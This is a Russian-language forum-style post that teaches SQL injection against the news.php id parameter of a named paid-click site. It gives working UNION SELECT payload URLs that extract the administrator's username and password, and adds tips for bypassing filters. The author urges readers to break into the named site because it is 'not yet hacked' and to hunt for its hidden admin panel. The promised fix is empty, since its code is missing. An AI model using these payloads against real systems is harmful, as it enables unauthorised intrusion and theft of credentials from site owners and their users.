Разберём суть бага…У многих в скриптах не фильтруется передаваемый параметр id.
Пример: http://5b-u-x.com/news.php?id=pezdec
Как узнать, есть ли возможность запилить у вас инъекцию?
Идём по адресу новости любой существующей (id — это номер в ссылке на полную новость).
Пример: http://5b-u-x.com/45-new.html -> превращается у нас в http://5b-u-x.com/news.php?id=45
Теперь проверим возможность на проведение инъекции:
http://5b-u-x.com/news.php?id=45\’ (в конце просто добавили кавычку, если с одной не канает — тыкаем двойную)
Итак, наш результат: нету сообщения, мол новости не существует и при этом мы видим пустую страницу. В нормальных случаях мы бы увидели ошибку в синтаксисе запроса, в нашем же — вывод ошибок отключён, но тем не менее текстового вердикта, мол id новости неправилен — мы не видим.
Давайте этим воспользуемся. Идём в гугл, набираем запрос вида: \»antichat.ru полный FAQ SQL инъекции\» и читаем. Если хоть немного шарим в SQL запросах, то поехали…
Итак, разберёмся в коде файла, у нас есть запрос, который достаёт инфу о новости:
* — значит берёт всю инфу из всех строк.
Теперь глянем в структуру таблицы tb_news, полей там 4:
— date;
— id;
— newstext;
— tema.
Немного модернизируем нашу ссылку: http://5b-u-x.com/news.php?id=0\’ UNION SELECT 1,2,3,4 — (после — пробел обязателен, можно также вставить # или /*)
id=0 выбрал id специально несуществующей новости, в противном случае ничего не получится. Цифры 1,2,3,4 специально проставлены для нумерации порядка, чтоб вбить запрос в \»битые поля\». Наш результат — мы видим цифры 2 и 3.
Давайте продолжать модернизировать линк: http://5b-u-x.com/news.php?id=0\’ UNION SELECT 1,(SELECT username FROM tb_users WHERE user_status=\’admin\’),(SELECT password FROM tb_users WHERE user_status=\’admin\’),4 — (опять же пробел)
И что мы видим? Логин и пароль админа, а дальше можно начинать действовать, уж дальше ума много не надо.
1. В статью я не стал расписывать почему и зачем нужны кавычки. Нет смысла — тут многие тугодумы начнут тупо флудить.
2. Букс для примера ещё не был взломан, дерзайте. Там тяжко продумать как его накрутить, ибо админка спрятана.
3. Там автовыплаты, макс.сумма — 15 рублей/раз в сутки. Так что лучше ищите админку.
4. Если на буксе жертве при попытке составить запрос ничего не получается — попробуйте пробелы заменить на + или на /**/
Фикс:
В файле news.php меняем:
На:
Все.
Отправить комментарий
Вы должны быть зарегистрированы чтобы оставить комментарий.
Вы должны быть зарегистрированы чтобы оставить комментарий.